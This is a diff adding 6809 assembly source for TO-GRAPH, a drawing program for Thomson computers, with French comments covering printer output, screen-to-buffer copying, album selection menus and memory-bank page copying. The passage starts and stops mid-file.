+       LDB    #$47
+       LDA    PA,S
+       BEQ    LIMPL1    ->
+       ADDB   #2
+LIMPL1 JSR    RSCO
+
+       LEAX   BUFV,S
+       LDA    #3
+BIMPL6 LDB    ,X+
+       JSR    RSCO
+       DECA
+       BNE    BIMPL6    ->
+       BRA    SETGR1    ->
+
+SETGR0 LDB    #'L
+       JSR    RSCO
+       LDD    NBSEG,S
+       JSR    RSCO
+       TFR    A,B
+       JSR    RSCO
+
+SETGR1 EQU    *
+
+       LDX    PX,S
+       LDY    NBSEG,S
+
+       LEAU   TYPIMP,PCR
+       LDA    ,U
+       CMPA   #THOMSO
+       BNE    SELIP0    ->
+       LDA    PA,S
+       LBNE   BIMPLA    normal THOMSON->
+       BRA    BIMPL9    brouillon ... ->
+SELIP0 LDA    PA,S
+       BNE    XIMPL8    normal IBM EPS->
+
+BIMPL7 LDA    ,X+       brouillon IBM EP
+       LDB    #1
+SIMPL7 LSRA
+       ROLB
+       BCC    SIMPL7    ->
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPL7    ->
+       LBRA   LIMPL3    ->
+
+XIMPL8 PSHS   X,Y
+BIMPL8 LDA    ,X+       normal IBM EPSON
+       LDB    #1        passe 1
+SIMPL8 LSRA
+       ROLB
+       BCC    SIMPL8    ->
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPL8    ->
+       PULS   X,Y
+       LDB    #ESC      passe 1/216 "
+       JSR    RSCO      (pour 1/2 point)
+       LDB    #'J       (1 pt = 1/72 ")
+       JSR    RSCO
+       LDB    #1
+       JSR    RSCO
+       LDB    #RC
+       JSR    RSCO
+       LDB    #ESC
+       JSR    RSCO
+       LDB    #'L
+       JSR    RSCO
+       LDD    NBSEG,S
+       JSR    RSCO
+       TFR    A,B
+       JSR    RSCO
+BIMPH8 LDA    ,X+       normal IBM EPSON
+       LDB    #1        passe 2
+SIMPH8 LSRA
+       ROLB
+       BCC    SIMPH8    ->
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPH8    ->
+       LBRA   LIMPL3    ->
+
+BIMPL9 LDB    ,X+       brouillon THOMSO
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPL9    ->
+       LBRA   LIMPL3    ->
+
+BIMPLA LDA    ,X+       double/1er  oct.
+       CLRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       STB    BUFV,S
+       LSRB
+       ORB    BUFV,S
+       JSR    RSCO
+*                       double/1er  oct.
+       CLRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       LSRB
+       LSRA
+       RORB
+       STB    BUFV,S
+       LSRB
+       ORB    BUFV,S
+       JSR    RSCO
+       LEAY   -1,Y
+       BNE    BIMPLA    ->
+
+LIMPL3 LDB    #LF       lig. suiv
+       JSR    RSCO
+
+       LEAS   10,S
+       PULS   D,X,Y,U,PC
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A  car. lu si ok
+*         CY 0 si ok
+*            1 si pb -> erreur traitée
+*                       fichier fermé
+*=======================================
+
+XLECFI PSHS   B
+*---------------------------------------
+       LDB    #INPUT
+       JSR    EXTRA
+       TSTB
+       BNE    LEFIFR    erreur ->
+       LDB    #78       'bad picture'
+       TST    EOFFLG    si eof !
+       BNE    LEFIFR    ->
+       LDA    CARCOU
+       ANDCC  #$FE
+       PULS   B,PC      ->>
+
+LEFIFR JSR    DOSERR
+       LDB    #CLOSE
+       JSR    EXTRA
+       ORCC   #1
+       PULS   B,PC
+
+
+*=======================================
+* S/P lecture écran -> tiroir
+*
+* Entrée XT0,YT0   coord. début
+*        XT1,YT1   coord. fin
+*=======================================
+
+TMAQG2 FDB    $FF7F,$3F1F,$0F07,$0301
+TMAQD2 FDB    $80C0,$E0F0,$F8FC,$FEFF
+
+XLITTI EQU    *
+*---------------------------------------
+       LDA    #1        note tiroir ok
+       STA    <FLGTIR
+
+*      calcul des dimensions points
+       LDD    <XT1
+       SUBD   <XT0
+       ADDD   #1
+       STD    <LPTTIR
+       LDA    <YT1
+       SUBA   <YT0
+       INCA
+       STA    <HPTTIR
+
+*      calcul des dimensions segment
+*      Nb: le tiroir est augmenté de 1
+*          en largeur à cause décalages
+*          ultérieurs
+       LDD    <XT0
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       STB    <COLT0
+       LDD    <XT1
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       INCB             +1 sur largeur
+       STB    <COLT1
+       SUBB   <COLT0
+       INCB
+       STB    <LARTIR
+       LDD    <XT0
+       ANDB   #$07
+       STB    <DECTIR   décal. bit/seg.
+
+*      calcul des référence 1er segment
+*      (page écran et adresse
+       LDA    $E7C3
+       ANDA   #$FE
+       LDB    <COLT0
+       LSRB
+       BCS    XDCC2     ->
+       ORA    #$01
+XDCC2  STA    <PRE7C3
+       LDA    <YT0
+       LDB    #40
+       MUL
+       ADDD   #$4000
+       STD    <ADPRSG
+       CLRA
+       LDB    <COLT0
+       LSRB
+       ADDD   <ADPRSG
+       STD    <ADPRSG
+
+*      calcul des nb de seg. sur page
+*      du 1er et sur l'autre
+       LDA    <LARTIR
+       LSRA
+       STA    <NBSEG1
+       STA    <NBSEG2
+       BCC    XDCC3     ->
+       INC    <NBSEG1
+
+*      acquisition des seg. 1ère page
+XDCC3  LDA    <PRE7C3
+       STA    $E7C3
+       LDA    <HPTTIR
+       STA    <CPTLT
+       LDU    <ADPRSG
+       STU    <ADPRSL
+       LDX    #ZONTRA
+       TFR    X,Y       Y=ad 1ère lign
+XDCC10 LDA    <NBSEG1
+XDCC11 LDB    ,U+
+       STB    ,X++
+       DECA
+       BNE    XDCC11    ->
+       TFR    Y,X
+       LDB    <LARTIR
+       ABX
+       TFR    X,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XDCC10    ->
+
+*      acquisition des seg. 2ème page
+       LDA    $E7C3
+       EORA   #$01
+       STA    $E7C3
+       LDA    <HPTTIR
+       STA    <CPTLT
+       CLRA
+       LDB    <PRE7C3
+       ANDB   #1
+       EORB   #1
+       ADDD   <ADPRSG
+       STD    <ADPRSL
+       TFR    D,U
+       LDX    #ZONTRA+1
+       TFR    X,Y       Y=ad 1ère lign
+XDCC20 LDA    <NBSEG2
+XDCC21 LDB    ,U+
+       STB    ,X++
+       DECA
+       BNE    XDCC21    ->
+       TFR    Y,X
+       LDB    <LARTIR
+       ABX
+       TFR    X,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XDCC20    ->
+
+*      mise à zéro des bits hors tiroir
+*      à gauche
+       LEAX   TMAQG2,PCR
+       LDA    <DECTIR
+       BEQ    RZDT      ->
+       LDA    A,X
+       STA    <CPTCT
+       LDA    <HPTTIR
+       LDX    #ZONTRA
+BRGT   LDB    ,X
+       ANDB   <CPTCT
+       STB    ,X
+       LDB    <LARTIR
+       ABX
+       DECA
+       BNE    BRGT      ->
+
+*      mise à zéro des bits hors tiroir
+*      à droite
+RZDT   LDD    <XT1
+       ANDB   #7
+       CMPB   #7
+       BEQ    RZDD      ->
+       LEAX   TMAQD2,PCR
+       LDA    B,X
+       STA    <CPTCT
+       LDA    <HPTTIR
+       LDX    #ZONTRA
+       LDB    <LARTIR
+       ABX
+       LEAX   -2,X
+BRDT   LDB    ,X
+       ANDB   <CPTCT
+       STB    ,X
+       LDB    <LARTIR
+       ABX
+       DECA
+       BNE    BRDT      ->
+
+*      mise à zéro du segment supplé-
+*      mentaire pour décalage
+RZDD   LDA    <HPTTIR
+       LDX    #ZONTRA
+       LDB    <LARTIR
+       ABX
+       LEAX   -1,X
+BRDD   CLR    ,X
+       LDB    <LARTIR
+       ABX
+       DECA
+       BNE    BRDD      ->
+       RTS
+
+
+*=======================================
+* S/P Lecture d'un bit sur le tiroir
+*
+* Entrée: X     coord. dans tiroir
+*         CPTLT
+* Sortie: Z   bit nul ou non
+*=======================================
+
+TEXTBL FDB    $8040,$2010,$0804,$0201
+
+XLECTX PSHS   X
+PX     SET    0
+*---------------------------------------
+       LDU    #$A000
+       LDA    <CPTLT
+       LDB    <LARTIR
+       MUL
+       LEAU   D,U
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDB    D,U
+       LDA    PX+1,S
+       ANDA   #7
+       LEAX   TEXTBL,PCR
+       ANDB   A,X
+       PULS   X,PC
+
+
+*=======================================
+* S/P pointage d'un album dans table
+*
+* Entrée: X   pt nom album
+* Sortie: CY  1  pas trouvé
+*             0  ok
+*         X   pt dans table si ok
+*             non modifié sinon
+*=======================================
+
+XPTALB PSHS   D,X,Y,U
+       LEAS   -1,S
+ALBC   SET    0
+PD     SET    1
+PX     SET    3
+*---------------------------------------
+
+       TST    MAXALB
+       BEQ    PTALER    ->
+
+       LDU    #TABALB
+       CLR    ALBC,S
+PTAL1  TST    8,U
+       BMI    PTAVID    poste vide ->
+       LDX    PX,S
+       TFR    U,Y
+       LDA    #8
+PTAL2  LDB    ,X+
+       CMPB   ,Y+
+       BNE    PTAL3     différent ->
+       DECA
+       BNE    PTAL2     ->
+       BRA    PTALOK    trouvé ->
+PTAL3  INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   MAXALB
+       BGE    PTALER    fini ->
+PTAVID LEAU   9,U
+       BRA    PTAL1     ->
+
+PTALOK STU    PX,S
+       ANDCC  #$FE
+       LEAS   1,S
+       PULS   D,X,Y,U,PC ->>
+PTALER ORCC   #$01
+       LEAS   1,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P sélection d'un album préexistant
+*
+* Entrée: A,B coordonnées fenêtre
+*         X   =0  => visu seule
+*             =-1 => sélection
+*         Y   nb niv. à remonter si ok
+*             (aucun si <0 )
+* Sortie: CY  1  Raz ou pas d'album
+*             0  ok
+*         X   pt dans table si ok
+*=======================================
+
+FFELAL FCB    FLOCF,0,0,13,44
+       FCB    FTRAME,FTOURI
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,1,1,42
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,1,15,1,42
+       FCB    FEDI,ESC,$4E
+       FCC    \ALBUMS\
+       FCB    ESC,$4C,0
+       FCB    FLOCF,3,1,9,42
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,4,3,1,8
+       FCB    FPOUSS,200,INTERD
+       FCB    FLOCF,4,13,1,8
+       FCB    FPOUSS,201,INTERD
+       FCB    FLOCF,4,23,1,8
+       FCB    FPOUSS,202,INTERD
+       FCB    FLOCF,4,33,1,8
+       FCB    FPOUSS,203,INTERD
+
+       FCB    FLOCF,6,3,1,8
+       FCB    FPOUSS,204,INTERD
+       FCB    FLOCF,6,13,1,8
+       FCB    FPOUSS,205,INTERD
+       FCB    FLOCF,6,23,1,8
+       FCB    FPOUSS,206,INTERD
+       FCB    FLOCF,6,33,1,8
+       FCB    FPOUSS,207,INTERD
+
+       FCB    FLOCF,8,3,1,8
+       FCB    FPOUSS,208,INTERD
+       FCB    FLOCF,8,13,1,8
+       FCB    FPOUSS,209,INTERD
+       FCB    FLOCF,8,23,1,8
+       FCB    FPOUSS,210,INTERD
+       FCB    FLOCF,8,33,1,8
+       FCB    FPOUSS,211,INTERD
+
+       FCB    FLOCF,10,3,1,8
+       FCB    FPOUSS,212,INTERD
+       FCB    FLOCF,10,13,1,8
+       FCB    FPOUSS,213,INTERD
+       FCB    FLOCF,10,23,1,8
+       FCB    FPOUSS,214,INTERD
+       FCB    FLOCF,10,33,1,8
+       FCB    FPOUSS,215,INTERD
+       FCB    FSTOP
+
+MPASAL FCC    \PASD'ALBUM\
+       FCB    0
+
+*---------------------------------------
+XSELAL PSHS   D,X,Y,U
+       LEAS   -2,S
+ALBC   SET    0
+ALBOK  SET    1
+PD     SET    2
+PX     SET    4
+PYL    SET    7
+*---------------------------------------
+
+       TST    NBALB
+       BNE    SELAL0    ->
+       LEAX   MPASAL,PCR
+       JSR    FENERR
+       LBRA   SELALF    ->
+SELAL0 LEAX   FFELAL,PCR
+       LDD    PD,S
+       JSR    FENOUV
+
+       CLR    ALBC,S    visu albums
+       CLR    ALBOK,S
+       LDU    #TABALB
+SELAL1 TST    8,U
+       BMI    ALVID     ->
+       LDB    ALBOK,S   poste occupé
+       ADDB   #200
+       JSR    FENCH
+       TST    PX,S
+       BEQ    SELALV    visu seule ->
+       LDA    #OFF
+       STA    VAL,X
+SELALV LDA    #8
+SELAL2 LDB    ,U+
+       JSR    FENPUT
+       DECA
+       BNE    SELAL2    ->
+       LEAU   1,U
+       INC    ALBOK,S
+SELAL3 INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   #16
+       BGE    SELAL4    fini ->
+       BRA    SELAL1    ->
+ALVID  LEAU   9,U
+       BRA    SELAL3    ->
+
+SELAL4 JSR    FENACT    sélection
+SELAL5 JSR    FEN
+       TSTB
+       BEQ    SELAL5    ->
+       CMPB   #FF
+       BEQ    SELALR    raz ->
+       TST    PX,S
+       BEQ    SELAL5    visu seule ->
+       SUBB   #200
+       BMI    SELAL5    ->
+       CMPB   ALBOK,S
+       BGE    SELAL5    ->
+
+*      Album sélectionné
+       INCB
+       LDX    #TABALB
+SELAL6 TST    8,X
+       BMI    SELAL7    ->
+       DECB
+       BEQ    FSELAL    pointé ->
+SELAL7 LEAX   9,X
+       BRA    SELAL6    ->
+
+FSELAL STX    PX,S
+       LDB    PYL,S
+       BMI    SELALZ    dépile par appel
+       JSR    FENFER               .lant
+       JSR    FENACT
+SELALZ ANDCC  #$FE
+       LEAS   2,S
+       PULS   D,X,Y,U,PC ->>
+SELALR CLRB
+       JSR    FENFER
+       JSR    FENACT
+SELALF ORCC   #$01
+       LEAS   2,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P visualisation du tiroir
+*
+* Entrée: X   coord. graphique haut
+*         Y   gauche
+*         A   #0 si effacement préalable
+*=======================================
+
+XVISTI PSHS   D,X,Y,U
+PA     SET    0
+PB     SET    1
+PX     SET    2
+PY     SET    4
+*---------------------------------------
+
+*      calculer coord. de visualisation
+       LDD    PX,S
+       STD    <XT0
+       ADDD   <LPTTIR
+       SUBD   #1
+       STD    <XT1
+
+       LDD    PY,S
+       STD    <YT0
+       CLRA
+       LDB    <HPTTIR
+       ADDD   <YT0
+       SUBD   #1
+       STD    <YT1
+
+*      décaler le tiroir pour corresp.
+*      colonnes
+       LDD    <XT0
+       ANDB   #7
+       LBSR   XDECAL
+
+*      calcul de la zone visualisée
+       LDD    <XT0
+       ASRA
+       RORB
+       ASRA
+       RORB
+       ASRA
+       RORB
+       STB    <COLT0
+       CLR    <DECSEG
+       CMPB   #4
+       BGE    XPCL10    ->
+       LDA    #4
+       SUBA   <COLT0
+       STA    <DECSEG
+       LDA    #4
+       STA    <COLT0
+       LDD    #32
+       STD    <XT0
+
+XPCL10 CLR    <DECLIG
+       LDD    <YT0
+       CMPD   #8
+       BGE    XPCL11    ->
+       LDD    #8
+       SUBD   <YT0
+       STB    <DECLIG
+       LDD    #8
+       STD    <YT0
+XPCL11 LDA    <YT0+1
+       STA    <YT0      valeur 8..191
+
+       LDD    <XT1
+       ASRA
+       RORB
+       ASRA
+       RORB
+       ASRA
+       RORB
+       STB    <COLT1
+       CMPB   #77
+       BLE    XPCL12    ->
+       LDB    #77
+       STB    <COLT1
+       LDD    #623
+       STD    <XT1
+
+XPCL12 LDD    <YT1
+       CMPD   #191
+       BLE    XPCL13    ->
+       LDD    #191
+       STD    <YT1
+XPCL13 LDA    <YT1+1    valeur 8..191
+       STA    <YT1
+
+       LDA    <COLT1
+       SUBA   <COLT0
+       INCA
+       STA    <LARTV
+       LDA    <YT1
+       SUBA   <YT0
+       INCA
+       STA    <HAUTV
+
+*      calcul des référence 1er segment
+*      (page écran et adresse
+       LDA    $E7C3
+       ANDA   #$FE
+       LDB    <COLT0
+       LSRB
+       BCS    XPCC2     ->
+       ORA    #$01
+XPCC2  STA    <PRE7C3
+       LDA    <YT0
+       LDB    #40
+       MUL
+       ADDD   #$4000
+       STD    <ADPRSG
+       CLRA
+       LDB    <COLT0
+       LSRB
+       ADDD   <ADPRSG
+       STD    <ADPRSG
+
+*      calcul des nb de seg. sur page
+*      du 1er et sur l'autre
+       LDA    <LARTV
+       LSRA
+       STA    <NBSEG1
+       STA    <NBSEG2
+       BCC    XPCC3     ->
+       INC    <NBSEG1
+
+*      si demandé... effacer
+XPCC3  TST    PA,S
+       BEQ    XPCC4     ->
+       LBSR   XCLRTI
+
+*      superposition des seg. 1ère page
+XPCC4  LDA    <PRE7C3
+       STA    $E7C3
+       LDA    <HAUTV
+       STA    <CPTLT
+       LDU    <ADPRSG
+       STU    <ADPRSL
+       LDY    #ZONTRA   Y=ad 1ére ligne
+       LDA    <LARTIR
+       LDB    <DECLIG
+       MUL
+       LEAY   D,Y
+XPCC10 LDA    <DECSEG
+       LEAX   A,Y
+       LDA    <NBSEG1
+XPCC11 LDB    ,U
+       ORB    ,X++
+       STB    ,U+
+       DECA
+       BNE    XPCC11    ->
+       LDB    <LARTIR
+       LEAY   B,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XPCC10    ->
+
+*      superposition des seg. 2ème page
+       LDA    $E7C3
+       EORA   #$01
+       STA    $E7C3
+       LDA    <HAUTV
+       STA    <CPTLT
+       CLRA
+       LDB    <PRE7C3
+       ANDB   #1
+       EORB   #1
+       ADDD   <ADPRSG
+       STD    <ADPRSL
+       TFR    D,U
+       LDY    #ZONTRA+1 Y=ad 1ére ligne
+       LDA    <LARTIR
+       LDB    <DECLIG
+       MUL
+       LEAY   D,Y
+XPCC20 LDA    <DECSEG
+       LEAX   A,Y
+       LDA    <NBSEG2
+XPCC21 LDB    ,U
+       ORB    ,X++
+       STB    ,U+
+       DECA
+       BNE    XPCC21    ->
+       LDB    <LARTIR
+       LEAY   B,Y
+       LDU    <ADPRSL
+       LEAU   40,U
+       STU    <ADPRSL
+       DEC    <CPTLT
+       BNE    XPCC20    ->
+
+       PULS   D,X,Y,U,PC ->>
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C2.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C2.ASM
new file mode 100644
index 0000000..ad3699e
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C2.ASM
@@ -0,0 +1,1624 @@
+       TITLE  TO-GRAPH: S/P cartouche 2
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    S/P de la cartouche no 2          *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P décalage droite/gauche du tiroir
+*     pour mettre les 1ers points de
+*     chaque ligne dans une colonne
+*     donnée
+* Entrée: B  rang à obtenir pour 1er pt
+*            (0..7)
+*=======================================
+
+XDECAL PSHS   D,X
+       LEAS   -1,S
+CPTDEC SET    0
+PA     SET    1
+PB     SET    2
+*---------------------------------------
+       SUBB   <DECTIR
+       LBEQ   DECTF     déja ok  ->
+       BMI    DECTG     à gauche ->
+       STB    CPTDEC,S  # à droite
+       LDB    PB,S
+       STB    <DECTIR
+BDCDD  LDX    #ZONTRA
+       LDA    <HPTTIR
+BDCDL  LDB    <LARTIR
+       ANDCC  #$FE
+BDCDC  ROR    ,X+
+       DECB
+       BNE    BDCDC     ->
+       DECA
+       BNE    BDCDL     ->
+       DEC    CPTDEC,S
+       BNE    BDCDD     ->
+       BRA    DECTF         ->
+
+DECTG  NEGB             # à gauche
+       STB    CPTDEC,S
+       LDB    PB,S
+       STB    <DECTIR
+BDCGD  LDX    #ZONTRA
+       LDA    <HPTTIR
+       LDB    <LARTIR
+       MUL
+       LEAX   D,X
+       LDA    <HPTTIR
+BDCGL  LDB    <LARTIR
+       ANDCC  #$FE
+BDCGC  ROL    ,-X
+       DECB
+       BNE    BDCGC     ->
+       DECA
+       BNE    BDCGL     ->
+       DEC    CPTDEC,S
+       BNE    BDCGD     ->
+
+DECTF  LEAS   1,S
+       PULS   D,X,PC
+
+
+*=======================================
+* S/P génération d'un dessin tortue
+*     d'avance éventuellement décomposé
+*     en plusieurs (max soft 255)
+*
+* Entrée: D  déplacement
+*         X  chaine rangement
+* Sortie: X  ...
+*=======================================
+
+XDEPTO PSHS   D
+       LEAS   -5,S
+DEPCPT SET    0
+DEPCOU SET    2
+DEPCAR SET    4
+PD     SET    5
+*---------------------------------------
+       LDA    -1,X
+       STA    DEPCAR,S
+       LDD    PD,S
+       STD    DEPCPT,S
+DEPTO0 LDD    DEPCPT,S
+       CMPD   #255
+       BLE    DEPTO1    ->
+       LDD    #255
+DEPTO1 STD    DEPCOU,S
+       LDD    DEPCOU,S
+       JSR    BINDCG
+       ABX
+       LDD    DEPCPT,S
+       SUBD   DEPCOU,S
+       STD    DEPCPT,S
+       BLE    DEPTOF    ->
+       LDD    #$4C30    'L0'
+       STD    ,X++
+       LDA    DEPCAR,S
+       STA    ,X+
+       BRA    DEPTO0    ->
+
+DEPTOF LEAS   5,S
+       PULS   D,PC
+
+
+*=======================================
+* S/P copie d'une page écran vers la
+*     zone correspondante de la feuille
+*
+* Entrée: B  0    page paire
+*            1    page impaire
+*         RGDECR  emplacement écran
+*         CLDECR  dans la feuille
+*=======================================
+
+XECRFE PSHS   D,X,Y
+       LEAS   -2,S
+MEMBK  SET    0
+DBK    SET    1
+PA     SET    2
+PB     SET    3
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+* Commut. page écran à sauvegarder
+       LDA    $E7C3
+       ANDA   #$FE
+       ADDA   PB,S
+       EORA   #1
+       STA    $E7C3
+       LDA    #PBKTRA+2
+       TST    PB,S
+       BEQ    ECFE00    ->
+       ADDA   #3
+ECFE00 STA    DBK,S
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+       LDA    <RGDECR   *60*8 !
+       LSLA
+       LDB    #60*4
+       MUL
+       ADDB   <CLDECR
+       ADCA   #0
+       ADDD   <ADF
+       BCC    ECFE0     ->
+       ADDD   #$FFFF-48959
+ECFE0  CMPD   #48960
+       BCS    ECFE1     ->
+       SUBD   #48960
+ECFE1  STD    <ADPRRL
+       ROLA
+       ROLA
+       ROLA
+       ANDA   #3
+       ADDA   PB,S      3 bank par page
+       ADDA   PB,S      écran
+       ADDA   PB,S
+       ADDA   #PBKTRA
+       STA    BANKC
+       LDD    <ADPRRL
+       ANDA   #$3F
+       ADDD   #$A000
+       STD    <ADPRRL
+
+* Initialisation du 1er segment à lire
+* sur l'écran
+       LDD    #$4000+8*40+2
+       STD    <ADPRSL
+
+* Nb de lignes écran à déplacer (+1)
+       LDA    #185
+       STA    <CPTLT
+
+* Boucle de copie .. X= ad. écran
+*                    Y= ad. RAM
+       LDX    <ADPRSL
+       LDY    <ADPRRL
+
+BECFE  DEC    <CPTLT
+       LBEQ   FECFE     fini ->
+       LDA    BANKC
+       LDB    #37
+       CMPA   DBK,S
+       BEQ    ECFE30    dernier bank ->
+
+       CMPY   #$E000-36
+       BCS    BECFE1    move 37 ok ->
+       PSHS   Y         move en 2 fois
+       LDD    #$E000
+       SUBD   ,S++
+       STB    <CPTCT
+BECFE0 LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BECFE0    ->
+       INC    BANKC
+       LDY    #$A000
+       LDB    #37
+       SUBB   <CPTCT
+BECFE1 LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BECFE1    ->
+
+       LEAX   40-37,X   ligne écran suiv
+       LEAY   60-37,Y   ligne feuille
+       CMPY   #$E000
+       BCS    BECFE     ->
+       INC    BANKC
+       LEAY   -$4000,Y
+       BRA    BECFE     ->
+
+ECFE30 CMPY   #$DF40-36
+       BCS    BECFE3    move 37 ok ->
+       PSHS   Y         move en 2 fois
+       LDD    #$DF40
+       SUBD   ,S++
+       STB    <CPTCT
+BECFE2 LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BECFE2    ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LDB    #37
+       SUBB   <CPTCT
+BECFE3 LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BECFE3    ->
+
+       LEAX   40-37,X   ligne écran suiv
+       LEAY   60-37,Y   ligne feuille
+       CMPY   #$DF40
+       LBCS   BECFE     ->
+       DEC    BANKC
+       DEC    BANKC
+       LEAY   -$DF40,Y
+       LEAY   $A000,Y
+       LBRA   BECFE     ->
+
+FECFE  LDA    MEMBK,S
+       STA    BANKC
+       LEAS   2,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P copie vers une page écran de la
+*     zone correspondante de la feuille
+*
+* Entrée: B  0    page paire
+*            1    page impaire
+*         RGDECR  emplacement écran
+*         CLDECR  dans la feuille
+*=======================================
+
+XFEUEC PSHS   D,X,Y
+       LEAS   -2,S
+MEMBK  SET    0
+DBK    SET    1
+PA     SET    2
+PB     SET    3
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+* Commut. page écran à régénérer
+       LDA    $E7C3
+       ANDA   #$FE
+       ADDA   PB,S
+       EORA   #1
+       STA    $E7C3
+       LDA    #PBKTRA+2
+       TST    PB,S
+       BEQ    FEEC00   ->
+       ADDA   #3
+FEEC00 STA    DBK,S
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+       LDA    <RGDECR   *60*8 !
+       LSLA
+       LDB    #60*4
+       MUL
+       ADDB   <CLDECR
+       ADCA   #0
+       ADDD   <ADF
+       BCC    FEEC0     ->
+       ADDD   #$FFFF-48959
+FEEC0  CMPD   #48960
+       BCS    FEEC1     ->
+       SUBD   #48960
+FEEC1  STD    <ADPRRL
+       ROLA
+       ROLA
+       ROLA
+       ANDA   #3
+       ADDA   PB,S      3 bank par page
+       ADDA   PB,S      écran
+       ADDA   PB,S
+       ADDA   #PBKTRA
+       STA    BANKC
+       LDD    <ADPRRL
+       ANDA   #$3F
+       ADDD   #$A000
+       STD    <ADPRRL
+
+* Initialisation du 1er segment à écrire
+* sur l'écran
+       LDD    #$4000+8*40+2
+       STD    <ADPRSL
+
+* Nb de lignes écran à déplacer (+1)
+       LDA    #185
+       STA    <CPTLT
+
+* Boucle de copie .. X= ad. écran
+*                    Y= ad. RAM
+       LDX    <ADPRSL
+       LDY    <ADPRRL
+
+BFEEC  DEC    <CPTLT
+       LBEQ   FFEEC     fini ->
+       LDA    BANKC
+       LDB    #37
+       CMPA   DBK,S
+       BEQ    FEEC30    dernier bank ->
+
+       CMPY   #$E000-36
+       BCS    BFEEC1    move 37 ok ->
+       PSHS   Y         move en 2 fois
+       LDD    #$E000
+       SUBD   ,S++
+       STB    <CPTCT
+BFEEC0 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BFEEC0    ->
+       INC    BANKC
+       LDY    #$A000
+       LDB    #37
+       SUBB   <CPTCT
+BFEEC1 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BFEEC1    ->
+
+       LEAX   40-37,X   ligne écran suiv
+       LEAY   60-37,Y   ligne feuille
+       CMPY   #$E000
+       BCS    BFEEC     ->
+       INC    BANKC
+       LEAY   -$4000,Y
+       BRA    BFEEC     ->
+
+FEEC30 CMPY   #$DF40-36
+       BCS    BFEEC3    move 37 ok ->
+       PSHS   Y         move en 2 fois
+       LDD    #$DF40
+       SUBD   ,S++
+       STB    <CPTCT
+BFEEC2 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BFEEC2    ->
+       DEC    BANKC
+       DEC    BANKC
+       LDY    #$A000
+       LDB    #37
+       SUBB   <CPTCT
+BFEEC3 LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BFEEC3    ->
+
+       LEAX   40-37,X   ligne écran suiv
+       LEAY   60-37,Y   ligne feuille
+       CMPY   #$DF40
+       LBCS   BFEEC     ->
+       DEC    BANKC
+       DEC    BANKC
+       LEAY   -$DF40,Y
+       LEAY   $A000,Y
+       LBRA   BFEEC     ->
+
+FFEEC  LDA    MEMBK,S
+       STA    BANKC
+       LEAS   2,S
+       PULS   D,X,Y,PC
+
+
+*=======================================
+* S/P inversion du tiroir pour visu.
+*     temporaire
+*=======================================
+
+XINVTI EQU    *
+*---------------------------------------
+*      calculer coord. de visualisation
+       LDD    <LPTTIR
+       LSRA
+       RORB
+       PSHS   D
+       LDD    REGX
+       SUBD   ,S++
+       STD    <XT0
+       ADDD   <LPTTIR
+       SUBD   #1
+       STD    <XT1
+
+       CLRA             calcul +/- 32k
+       LDB    <HPTTIR
+       LSRA
+       RORB
+       PSHS   D
+       LDD    REGY
+       SUBD   ,S++
+       STD    <YT0
+       CLRA
+       LDB    <HPTTIR
+       ADDD   <YT0
+       SUBD   #1
+       STD    <YT1
+
+*      décaler le tiroir pour corresp.
+*      colonnes
+       LDD    <XT0
+       ANDB   #7
+       LBSR   XDECAL
+
+*      calcul de la zone visualisée
+       LDD    <XT0
+       ASRA
+       RORB
+       ASRA
+       RORB
+       ASRA
+       RORB
+       STB    <COLT0
+       CLR    <DECSEG
+       CMPB   #4
+       BGE    INVT10    ->
+       LDA    #4
+       SUBA   <COLT0
+       STA    <DECSEG
+       LDA    #4
+       STA    <COLT0
+       LDD    #32
+       STD    <XT0
+
+INVT10 CLR    <DECLIG
+       LDD    <YT0
+       CMPD   #8
+       BGE    INVT11    ->
+       LDD    #8
+       SUBD   <YT0
+       STB    <DECLIG
+       LDD    #8
+       STD    <YT0
